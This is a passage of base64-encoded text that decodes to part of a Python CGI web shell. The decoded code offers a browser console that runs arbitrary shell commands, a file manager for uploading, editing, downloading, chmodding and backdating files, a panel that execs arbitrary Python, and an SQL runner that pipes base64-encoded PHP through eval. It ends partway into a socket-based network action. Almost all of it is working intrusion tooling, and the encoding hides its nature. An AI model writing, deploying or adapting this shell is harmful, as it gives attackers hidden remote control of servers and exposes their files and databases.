AgICBpZiAocCAmIDB4QzAwMCkgPT0gMHhDMDAwOgogICAgICAgIGkgPSAncycKICAgIGVsaWYgKHAgJiAweEEwMDApID09IDB4QTAwMDoKICAgICAgICBpID0gJ2wnCiAgICBlbGlmIChwICYgMHg4MDAwKSA9PSAweDgwMDA6CiAgICAgICAgaSA9ICctJwogICAgZWxpZiAocCAmIDB4NjAwMCkgPT0gMHg2MDAwOgogICAgICAgIGkgPSAnYicKICAgIGVsaWYgKHAgJiAweDQwMDApID09IDB4NDAwMDoKICAgICAgICBpID0gJ2QnCiAgICBlbGlmIChwICYgMHgyMDAwKSA9PSAweDIwMDA6CiAgICAgICAgaSA9ICdjJwogICAgZWxpZiAocCAmIDB4MTAwMCkgPT0gMHgxMDAwOgogICAgICAgIGkgPSAncCcKICAgIGVsc2U6CiAgICAgICAgaSA9ICd1JwogICAgaWYgcCAmIDB4MDEwMDogaSArPSAncicKICAgIGVsc2U6IGkgKz0gJy0nCiAgICBpZiBwICYgMHgwMDgwOiBpICs9ICd3JwogICAgZWxzZTogaSArPSAnLScKICAgIGlmICBwICYgMHgwMDQwOgogICAgICAgIGlmIHAgJiAweDA4MDA6IGkgKz0gJ3MnCiAgICAgICAgZWxzZTogaSArPSAneCcKICAgIGVsc2U6CiAgICAgICAgaWYgcCAmIDB4MDgwMDogaSArPSAnUycKICAgICAgICBlbHNlOiBpKz0nLScKICAgIGlmIHAgJiAweDAwMjA6IGkgKz0gJ3InCiAgICBlbHNlOiBpICs9ICctJwogICAgaWYgcCAmIDB4MDAxMDogaSArPSAndycKICAgIGVsc2U6IGkgKz0gJy0nCiAgICBpZiAgcCAmIDB4MDAwODoKICAgICAgICBpZiBwICYgMHgwNDAwOiBpICs9ICdzJwogICAgICAgIGVsc2U6IGkgKz0gJ3gnCiAgICBlbHNlOgogICAgICAgIGlmIHAgJiAweDA0MDA6IGkgKz0gJ1MnCiAgICAgICAgZWxzZTogaSArPSAnLScKICAgIGlmIHAgJiAweDAwMDQ6IGkgKz0gJ3InCiAgICBlbHNlOiBpICs9ICctJwogICAgaWYgcCAmIDB4MDAwMjogaSArPSAndycKICAgIGVsc2U6IGkgKz0gJy0nCiAgICBpZiAgcCAmIDB4MDAwMToKICAgICAgICBpZiBwICYgMHgwMjAwOiBpICs9ICd0JwogICAgICAgIGVsc2U6IGkgKz0gJ3gnCiAgICBlbHNlOgogICAgICAgIGlmIHAgJiAweDAyMDA6IGkgKz0gJ1QnCiAgICAgICAgZWxzZTogaSArPSAnLScKCiAgICByZXR1cm4gaTsKCmRlZiBwZXJtc0NvbG9yKHBhdGgpOgogICAgaWYgbm90IG9zLmFjY2VzcyAocGF0aCwgb3MuUl9PSyk6CiAgICAgICAgcmV0dXJuICI8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+IitwZXJtcyhwYXRoKSsiPC9mb250PiIKICAgIGVsaWYgb3MuYWNjZXNzIChwYXRoLCBvcy5XX09LKToKICAgICAgICByZXR1cm4gIjxmb250IGNvbG9yPScjMDBCQjAwJz4iK3Blcm1zKHBhdGgpKyI8L2ZvbnQ+IgogICAgZWxzZToKICAgICAgICByZXR1cm4gIjxmb250IGNvbG9yPSd3aGl0ZSc+IitwZXJtcyhwYXRoKSsiPC9mb250PiIKCmRlZiBhY3Rpb25Db25zb2xlKCk6CiAgICBwcmludEhlYWRlcigpCiAgICBwcmludCAiPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iCiAgICBwcmludCAiIiI8Zm9ybSBuYW1lPSJjZiIgb25TdWJtaXQ9ImcobnVsbCwgbnVsbCwgdGhpcy5jbWQudmFsdWUpO3JldHVybiBmYWxzZTsiIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICMwMGFmY2Y7YmFja2dyb3VuZC1jb2xvcjojNTU1OyI+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgc3R5bGU9ImJvcmRlcjowcHg7IiByZWFkb25seT4iIiIKICAgIGlmIGxlbihfUkVRVUVTVFsncDEnXSkgPiAwOgogICAgICAgIHByaW50ICckJywgY2dpLmVzY2FwZShfUkVRVUVTVFsncDEnXSkKICAgICAgICBwcmludCBjZ2kuZXNjYXBlKGNvbW1hbmRzLmdldG91dHB1dChfUkVRVUVTVFsncDEnXSkpCgogICAgcHJpbnQgJzwvdGV4dGFyZWE+PHRhYmxlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCB3aWR0aD0iMTAwJSI+PHRyPjx0ZCB3aWR0aD0iMSUiPiQ8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJib3JkZXI6MHB4O3dpZHRoOjEwMCU7Ij48L3RkPjwvdHI+PC90YWJsZT4nCiAgICBwcmludCAiPC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZG9jdW1lbnQuY2YuY21kLmZvY3VzKCk7PC9zY3JpcHQ+IgogICAgcHJpbnRGb290ZXIoKQoKZGVmIGFjdGlvbkZpbGVzKCk6CiAgICBwcmludEhlYWRlcigpCiAgICBpZiBfUkVRVUVTVFsncDEnXSA9PSAndXBsb2FkRmlsZSc6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBpZiBfRklMRVNbJ2YnXS5maWxlbmFtZToKICAgICAgICAgICAgICAgIGZuID0gb3MucGF0aC5iYXNlbmFtZShfRklMRVNbJ2YnXS5maWxlbmFtZSkKICAgICAgICAgICAgICAgIG9wZW4oZm4sICd3YicpLndyaXRlKF9GSUxFU1snZiddLmZpbGUucmVhZCgpKQogICAgICAgIGV4Y2VwdDogcGFzcwogICAgaWYgX1JFUVVFU1RbJ3AxJ10gPT0gJ21rZGlyJzoKICAgICAgICB0cnk6IG9zLm1rZGlyKF9SRVFVRVNUWydwMiddKQogICAgICAgIGV4Y2VwdDogcGFzcwogICAgcHJpbnQgIjxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iCiAgICBpdGVtX3N0YXQgPSBvcy5sc3RhdCgnLi4nKQoKICAgIGRlZiBkaXJJdGVtSW5mbyhuYW1lLCBpdGVtX3N0YXQpOgogICAgICAgIGlmIFNfSVNMTksoaXRlbV9zdGF0W1NUX01PREVdKToKICAgICAgICAgICAgdHlwZSA9ICJsaW5rIgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHR5cGUgPSAiZGlyIgogICAgICAgIHRtcCA9IHsKICAgICAgICAgICAgICAgICduYW1lJyAgOiBuYW1lLAogICAgICAgICAgICAgICAgJ3BhdGgnICA6IG9zLnBhdGguam9pbihjd2QsIG5hbWUpLAogICAgICAgICAgICAgICAgJ3NpemUnICA6IHZpZXdTaXplKGl0ZW1fc3RhdFtTVF9TSVpFXSksCiAgICAgICAgICAgICAgICAnbXRpbWUnIDogZGF0ZXRpbWUuZnJvbXRpbWVzdGFtcChpdGVtX3N0YXRbU1RfTVRJTUVdKS5zdHJmdGltZSgiJVktJW0tJWQgJUg6JU06JVMiKSwKICAgICAgICAgICAgICAgICd1aWQnICAgOiBzdHIoaXRlbV9zdGF0W1NUX1VJRF0pLAogICAgICAgICAgICAgICAgJ2dpZCcgICA6IHN0cihpdGVtX3N0YXRbU1RfR0lEXSksCiAgICAgICAgICAgICAgICAncGVybXMnIDogcGVybXNDb2xvcihuYW1lKSwKICAgICAgICAgICAgICAgICd0eXBlJyAgOiB0eXBlCiAgICAgICAgICAgICAgfQogICAgICAgIHJldHVybiB0bXAKICAgIGRpcnMgPSBbZGlySXRlbUluZm8oJy4uJywgb3MubHN0YXQoJy4uJykpXQogICAgZmlsZXMgPSBbXQoKICAgIGZvciBpdGVtIGluIG9zLmxpc3RkaXIoY3dkKToKICAgICAgICBpdGVtX3N0YXQgPSBvcy5sc3RhdChpdGVtKQogICAgICAgIG1vZGUgPSBpdGVtX3N0YXRbU1RfTU9ERV0KICAgICAgICB0bXAgPSBkaXJJdGVtSW5mbyhpdGVtLCBpdGVtX3N0YXQpCiAgICAgICAgaWYgU19JU0xOSyhtb2RlKSBvciBTX0lTRElSKG1vZGUpOgogICAgICAgICAgICBkaXJzLmFwcGVuZCh0bXApCiAgICAgICAgZWxpZiBTX0lTUkVHKG1vZGUpOgogICAgICAgICAgICBmaWxlcy5hcHBlbmQodG1wKQoKICAgIHByaW50ICI8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPjxmb3JtIG1ldGhvZD0ncG9zdCc+IgogICAgcHJpbnQgIiIiPHRyPjx0aD5OYW1lPC90aD48dGg+U2l6ZTwvdGg+PHRoPk1vZGlmeTwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+UGVybWlzc2lvbnM8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiIiIjsKICAgIAogICAgZGVmIHNvcnQoYSwgYik6CiAgICAgICAgcmV0dXJuIGNtcChhWyduYW1lJ10ubG93ZXIoKSwgYlsnbmFtZSddLmxvd2VyKCkpCgogICAgbGluZSA9IDAKICAgIGZvciBpdGVtIGluIHNvcnRlZChkaXJzLCBzb3J0KToKICAgICAgICBwcmludCAiPHRyIgogICAgICAgIGlmIGxpbmU6CiAgICAgICAgICAgIHByaW50ICIgY2xhc3M9bDEiCiAgICAgICAgcHJpbnQgIj48dGQ+PGEgaHJlZj0nIycgb25jbGljaz0nZyhudWxsLFwiIitlc2NhcGUoaXRlbVsncGF0aCddKSsiXCIpJz48Yj5bICIrY2dpLmVzY2FwZShpdGVtWyduYW1lJ10pKyIgXTwvYj48L2E+PC90ZD48dGQ+IitpdGVtWyd0eXBlJ10rIjwvdGQ+PHRkPiIraXRlbVsnbXRpbWUnXSsiPC90ZD48dGQ+IitpdGVtWyd1aWQnXSsiLyIraXRlbVsnZ2lkJ10rIjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICdjaG1vZCcpXCI+IitpdGVtWydwZXJtcyddKyI8L2E+PC90ZD4iCiAgICAgICAgcHJpbnQgIjx0ZD48YSBocmVmPSMgb25jbGljaz1cImcoJ2ZpbGVUb29scycsIG51bGwsICciK2VzY2FwZShpdGVtWyduYW1lJ10pKyInLCAncmVuYW1lJylcIj5SPC9hPiA8YSBocmVmPSMgb25jbGljaz1cImcoJ2ZpbGVUb29scycsIG51bGwsICciK2VzY2FwZShpdGVtWyduYW1lJ10pKyInLCAndG91Y2gnKVwiPlQ8L2E+PC90ZD48L3RyPiIKICAgICAgICBsaW5lID0gKGxpbmUgKyAxKSUyCiAgICBmb3IgaXRlbSBpbiBzb3J0ZWQoZmlsZXMsIHNvcnQpOgogICAgICAgIHByaW50ICI8dHIiCiAgICAgICAgaWYgbGluZToKICAgICAgICAgICAgcHJpbnQgIiBjbGFzcz1sMSIKICAgICAgICBwcmludCAiPjx0ZD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiZmlsZVRvb2xzXCIsbnVsbCxcIiIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIlwiKSc+IitjZ2kuZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIjwvYT48L3RkPjx0ZD4iK2l0ZW1bJ3NpemUnXSsiPC90ZD48dGQ+IitpdGVtWydtdGltZSddKyI8L3RkPjx0ZD4iK2l0ZW1bJ3VpZCddKyIvIitpdGVtWydnaWQnXSsiPC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9XCJnKCdmaWxlVG9vbHMnLCBudWxsLCAnIitlc2NhcGUoaXRlbVsncGF0aCddKSsiJywgJ2NobW9kJylcIj4iK2l0ZW1bJ3Blcm1zJ10rIjwvYT48L3RkPiIKICAgICAgICBwcmludCAiPHRkPjxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICdyZW5hbWUnKVwiPlI8L2E+IDxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICd0b3VjaCcpXCI+VDwvYT4gPGEgaHJlZj0jIG9uY2xpY2s9XCJnKCdmaWxlVG9vbHMnLCBudWxsLCAnIitlc2NhcGUoaXRlbVsnbmFtZSddKSsiJywgJ2VkaXQnKVwiPkU8L2E+IDxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICdkb3dubG9hZCcpXCI+RDwvYT48L3RkPjwvdHI+IgogICAgICAgIGxpbmUgPSAobGluZSArIDEpJTIKCiAgICBwcmludCAiPC9mb3JtPjwvdGFibGU+PC9kaXY+IgogICAgcHJpbnRGb290ZXIoKQoKZGVmIGFjdGlvbkZpbGVUb29scygpOgogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gIiI6CiAgICAgICAgX1JFUVVFU1RbJ3AyJ10gPSAidmlldyIKICAgIGlmIF9SRVFVRVNUWydwMiddID09ICJkb3dubG9hZCI6CiAgICAgICAgcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIgKyBvcy5wYXRoLmJhc2VuYW1lKF9SRVFVRVNUWydwMSddKSArICJcbiIKICAgICAgICB0cnk6CiAgICAgICAgICAgIGZwID0gb3BlbihfUkVRVUVTVFsncDEnXSwgJ3JiJykKICAgICAgICAgICAgZm9yIHggaW4gZnAucmVhZGxpbmVzKCk6CiAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKHgpCiAgICAgICAgICAgIGZwLmNsb3NlKCkKICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICByZXR1cm4KICAgIGlmIF9SRVFVRVNUWydwMiddID09ICJzYXZlIjoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGZwID0gb3BlbihfUkVRVUVTVFsncDEnXSwgJ3cnKQogICAgICAgICAgICBmcC53cml0ZShfUkVRVUVTVFsncDMnXSkKICAgICAgICAgICAgZnAuY2xvc2UoKQogICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgIF9SRVFVRVNUWydwMiddID0gJ2VkaXQnCiAgICBwcmludEhlYWRlcigpCiAgICBwcmludCAiPGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iCiAgICBpdGVtX3N0YXQgPSBvcy5zdGF0KF9SRVFVRVNUWydwMSddKQogICAgcHJpbnQgIjxzcGFuPkZpbGU6IDwvc3Bhbj4iICsgb3MucGF0aC5iYXNlbmFtZShfUkVRVUVTVFsncDEnXSkgKyAiIDxzcGFuPlNpemU6IDwvc3Bhbj4gIiArdmlld1NpemUoaXRlbV9zdGF0W1NUX1NJWkVdKSArICIgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICIgK3Blcm1zQ29sb3IoX1JFUVVFU1RbJ3AxJ10pCiAgICBwcmludCAiPGJyLz4iCiAgICBpZiBTX0lTRElSKGl0ZW1fc3RhdFtTVF9NT0RFXSk6CiAgICAgICAgbWVudSA9IFsnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJ10KICAgIGVsc2U6CiAgICAgICAgbWVudSA9IFsnVmlldycsICdEb3dubG9hZCcsICdFZGl0JywgJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCddCiAgICBmb3IgeCBpbiBtZW51OgogICAgICAgIHByaW50ICI8YSBocmVmPSMgb25jbGljaz1cImcobnVsbCwgbnVsbCwgbnVsbCwgJyIreC5sb3dlcigpKyInKVwiPiIKICAgICAgICBpZiB4Lmxvd2VyKCkgPT0gX1JFUVVFU1RbJ3AyJ106CiAgICAgICAgICAgIHByaW50ICI8Yj5bICIgKyB4ICsgIiBdPC9iPiIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCB4CiAgICAgICAgcHJpbnQgIjwvYT4gIgogICAgcHJpbnQgIjxicj48YnI+IjsKICAgIGlmIF9SRVFVRVNUWydwMiddID09ICJ2aWV3IjoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGZwID0gb3BlbihfUkVRVUVTVFsncDEnXSwgJ3InKQogICAgICAgICAgICBwcmludCAiPHByZSBjbGFzcz1tbDE+IgogICAgICAgICAgICBmb3IgeCBpbiBmcC5yZWFkbGluZXMoKToKICAgICAgICAgICAgICAgIHN5cy5zdGRvdXQud3JpdGUoY2dpLmVzY2FwZSh4KSkKICAgICAgICAgICAgZnAuY2xvc2UoKQogICAgICAgICAgICBwcmludCAiPC9wcmU+IgogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgIkNhbid0IG9wZW4gZmlsZSEgIitfUkVRVUVTVFsncDEnXQogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gImVkaXQiOgogICAgICAgIHRyeToKICAgICAgICAgICAgZnAgPSBvcGVuKF9SRVFVRVNUWydwMSddLCAncicpCiAgICAgICAgICAgIHByaW50ICI8Zm9ybSBvbnN1Ym1pdD1cImcobnVsbCxudWxsLCciK2VzY2FwZShfUkVRVUVTVFsncDEnXSkrIicsICdzYXZlJywgdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHRleHRhcmVhIG5hbWU9ZiBjbGFzcz1iaWdhcmVhPiIKICAgICAgICAgICAgZm9yIHggaW4gZnAucmVhZGxpbmVzKCk6CiAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKGNnaS5lc2NhcGUoeCkpCiAgICAgICAgICAgIGZwLmNsb3NlKCkKICAgICAgICAgICAgcHJpbnQgIjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyZndDsmZ3Q7Jz48L2Zvcm0+IgogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgIkNhbid0IG9wZW4gKGNyZWF0ZSkgZmlsZSEgIitfUkVRVUVTVFsncDEnXQogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gImNobW9kIjoKICAgICAgICBpbXBvcnQgc3RhdCwgc3RyaW5nCiAgICAgICAgaWYgbGVuKF9SRVFVRVNUWydwMyddKToKICAgICAgICAgICAgcGVybSA9IHN0cmluZy5hdG9pKF9SRVFVRVNUWydwMyddLCA4KQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBvcy5jaG1vZChfUkVRVUVTVFsncDEnXSwgcGVybSkKICAgICAgICAgICAgICAgIHByaW50ICJEb25lIgogICAgICAgICAgICBleGNlcHQ6IHByaW50ICJGYWlsISIKICAgICAgICBwcmludCAiPGZvcm0gb25zdWJtaXQ9XCJnKG51bGwsbnVsbCwnIitlc2NhcGUoX1JFUVVFU1RbJ3AxJ10pKyInLCAnY2htb2QnLCB0aGlzLnAudmFsdWUpO3JldHVybiBmYWxzZTtcIj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncCcgdmFsdWU9JyIKICAgICAgICBwcmludCAiJW8iICUgc3RhdC5TX0lNT0RFKG9zLnN0YXQoX1JFUVVFU1RbJ3AxJ10pW1NUX01PREVdKQogICAgICAgIHByaW50ICInLz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nJmd0OyZndDsnPjwvZm9ybT4iCiAgICBpZiBfUkVRVUVTVFsncDInXSA9PSAicmVuYW1lIjoKICAgICAgICBpZiBsZW4oX1JFUVVFU1RbJ3AzJ10pOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBvcy5yZW5hbWUoX1JFUVVFU1RbJ3AxJ10sIF9SRVFVRVNUWydwMyddKQogICAgICAgICAgICAgICAgX1JFUVVFU1RbJ3AxJ10gPSBfUkVRVUVTVFsncDMnXQogICAgICAgICAgICAgICAgcHJpbnQgIkRvbmU8c2NyaXB0PnAyXz0nIiArIGVzY2FwZShfUkVRVUVTVFsncDMnXSkgKyAiJzwvc2NyaXB0PiIKICAgICAgICAgICAgZXhjZXB0OiBwcmludCAiRmFpbCEiCiAgICAgICAgcHJpbnQgIjxmb3JtIG9uc3VibWl0PVwiZyhudWxsLG51bGwsJyIrZXNjYXBlKF9SRVFVRVNUWydwMSddKSsiJywgJ3JlbmFtZScsIHRoaXMubi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSduJyB2YWx1ZT0nIiArIGVzY2FwZShfUkVRVUVTVFsncDEnXSkrICInLz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nJmd0OyZndDsnPjwvZm9ybT4iCgogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gInRvdWNoIjoKICAgICAgICBpZiBsZW4oX1JFUVVFU1RbJ3AzJ10pOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICB0bXN0bXAgPSB0aW1lLm1rdGltZSh0aW1lLnN0cnB0aW1lKF9SRVFVRVNUWydwMyddLCAiJVktJW0tJWQgJUg6JU06JVMiKSkKICAgICAgICAgICAgICAgIG9zLnV0aW1lKF9SRVFVRVNUWydwMSddLCAodG1zdG1wLCB0bXN0bXApKQogICAgICAgICAgICAgICAgaXRlbV9zdGF0ID0gb3Muc3RhdChfUkVRVUVTVFsncDEnXSkKICAgICAgICAgICAgICAgIHByaW50ICJEb25lIgogICAgICAgICAgICBleGNlcHQ6IHByaW50ICJGYWlsISIKICAgICAgICBwcmludCAiPGZvcm0gb25zdWJtaXQ9XCJnKG51bGwsbnVsbCwnIitlc2NhcGUoX1JFUVVFU1RbJ3AxJ10pKyInLCAndG91Y2gnLCB0aGlzLm4udmFsdWUpO3JldHVybiBmYWxzZTtcIj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nbicgdmFsdWU9JyIKICAgICAgICBwcmludCBkYXRldGltZS5mcm9tdGltZXN0YW1wKGl0ZW1fc3RhdFtTVF9NVElNRV0pLnN0cmZ0aW1lKCIlWS0lbS0lZCAlSDolTTolUyIpCiAgICAgICAgcHJpbnQgIicvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScmZ3Q7Jmd0Oyc+PC9mb3JtPiIKCiAgICBwcmludCAiPC9kaXY+IgogICAgcHJpbnRGb290ZXIoKQoKZGVmIGFjdGlvblB5dGhvbigpOgogICAgcHJpbnRIZWFkZXIoKQogICAgcHJpbnQgIjxoMT5FeGVjIHB5dGhvbiBjb2RlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+IgogICAgcHJpbnQgIiIiPGZvcm0gbmFtZT0iY2YiIG9uU3VibWl0PSJnKG51bGwsIG51bGwsIHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1jPiIiIgogICAgcHJpbnQgJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+JwogICAgaWYgbGVuKF9SRVFVRVNUWydwMSddKSA+IDA6CiAgICAgICAgcHJpbnQgJzxwcmUgY2xhc3M9Im1sMSIgc3R5bGU9Im1hcmdpbi10b3A6NXB4OyI+JwogICAgICAgIHRyeToKICAgICAgICAgICAgaW1wb3J0IFN0cmluZ0lPCiAgICAgICAgICAgIG9sZF9zdGRvdXQgPSBzeXMuc3Rkb3V0CiAgICAgICAgICAgIHN5cy5zdGRvdXQgPSBTdHJpbmdJTy5TdHJpbmdJTygpCiAgICAgICAgICAgIGV4ZWMoX1JFUVVFU1RbJ3AxJ10pCiAgICAgICAgICAgIGRhdGEgPSBzeXMuc3Rkb3V0LmdldHZhbHVlKCkKICAgICAgICAgICAgc3lzLnN0ZG91dCA9IG9sZF9zdGRvdXQKICAgICAgICAgICAgcHJpbnQgY2dpLmVzY2FwZShkYXRhKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcGFzcwogICAgICAgIHByaW50ICc8L3ByZT4nCiAgICBwcmludCAiPC9mb3JtPjwvZGl2PiIKICAgIHByaW50Rm9vdGVyKCkKCmRlZiBhY3Rpb25TUUwoKToKICAgIHByaW50SGVhZGVyKCkKICAgIHRoZXBocCA9ICcnJwokdXNlciA9ICJMT0xVU0VSRlVDSyI7JHBhc3N3b3JkID0gIkxPTFBBU1NGVUNLIjsgJGhvc3QgPSAiTE9MSE9TVEZVQ0siOyAkZGIgPSAiTE9MREJGVUNLIjsgbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzc3dvcmQpOyAkcXVlcnkgPSAiTE9MUVVFUllGVUNLIjsgbXlzcWxfc2VsZWN0X2RiKCRkYik7ICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpOyAgd2hpbGUoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHsgZm9yKCRpID0gMDskaTxjb3VudCgkcm93KTskaSsrKSB7IGVjaG8gJHJvd1skaV0uJzxicj4nO30gfQonJycKICAgIGlmIF9SRVFVRVNULmhhc19rZXkoJ2RiJyk6CiAgICAgICAgcHJpbnQgIiIiPGgxPlNRTDwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgogICAgPGZvcm0gbmFtZT0nbmZwJyBtZXRob2Q9J3Bvc3QnPgoJPHNwYW4+UnVuIFNRTDwvc3Bhbj48YnIvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nc3FsJz4KCUhvc3Q6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdob3N0JyB2YWx1ZT0nIiIiK19SRVFVRVNUWydob3N0J10rIiIiJz5EYXRhYmFzZTogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RiJyB2YWx1ZT0nIiIiK19SRVFVRVNUWydkYiddKyIiIic+IFVzZXI6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd1c2VyJyB2YWx1ZT0nIiIiK19SRVFVRVNUWyd1c2VyJ10rIiIiJz4gUGFzczogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3Bhc3MnIHZhbHVlPSciIiIrX1JFUVVFU1RbJ3Bhc3MnXSsiIiInPiBRdWVyeTogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3F1ZXJ5JyB2YWx1ZT0nIiIiK19SRVFVRVNUWydxdWVyeSddKyIiIic+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+Cgk8L2Zvcm0+PGJyPjwvZGl2PiIiIgogICAgZWxzZToKICAgICAgICBwcmludCAiIiI8aDE+U1FMPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiAgICA8Zm9ybSBuYW1lPSduZnAnIG1ldGhvZD0ncG9zdCc+Cgk8c3Bhbj5SdW4gU1FMPC9zcGFuPjxici8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdzcWwnPgoJSG9zdDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2hvc3QnIHZhbHVlPSdsb2NhbGhvc3QnPiBEYXRhYmFzZTogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RiJyB2YWx1ZT0nbXlzcWwnPiBVc2VyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndXNlcicgdmFsdWU9J3Jvb3QnPiBQYXNzOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGFzcycgdmFsdWU9J2RvbmdzJz4gUXVlcnk6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdxdWVyeScgdmFsdWU9J3Nob3cgZGF0YWJhc2VzJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KCTwvZm9ybT48YnI+PC9kaXY+IiIiCiAgICBpZiBfUkVRVUVTVC5oYXNfa2V5KCdkYicpOgogICAgICAgIHRoZXBocCA9IHRoZXBocC5yZXBsYWNlKCJMT0xVU0VSRlVDSyIsIF9SRVFVRVNUWyd1c2VyJ10pLnJlcGxhY2UoIkxPTFBBU1NGVUNLIiwgX1JFUVVFU1RbJ3Bhc3MnXSkucmVwbGFjZSgiTE9MUVVFUllGVUNLIiwgX1JFUVVFU1RbJ3F1ZXJ5J10pLnJlcGxhY2UoIkxPTERCRlVDSyIsIF9SRVFVRVNUWydkYiddKS5yZXBsYWNlKCJMT0xIT1NURlVDSyIsIF9SRVFVRVNUWydob3N0J10pCiAgICAgICAgdGhlcGhwID0gYjY0ZW5jb2RlKHRoZXBocCkgIyBjYXVzZSBmdWNrIGVzY2FwaW5nIHNoaXQKICAgICAgICB0aGVwaHAgPSAnXCIlc1wiJyAlIHRoZXBocAogICAgICAgIHByaW50IGNvbW1hbmRzLmdldG91dHB1dCgiZWNobyAnPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCIrdGhlcGhwKyIpKTsgPz4nIHwgcGhwIikucmVwbGFjZSgiXG4iLCI8YnI+IikKICAgIHByaW50Rm9vdGVyKCkKCmRlZiBhY3Rpb25OZXR3b3JrKCk6CiAgICBwcmludEhlYWRlcigpCiAgICBpZiBfUkVRVUVTVFsncDEnXSAhPSAiIjoKICAgICAgICBzb2NrPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKICAgICAgICBzb2NrLnNldHRpbWVvdXQoMTApCiAgICBpZiBfUkVRVUVTVFsncDEnXSA9PSAiYnAiOgogICAgICAgIHRyeToKICAgICAgICAg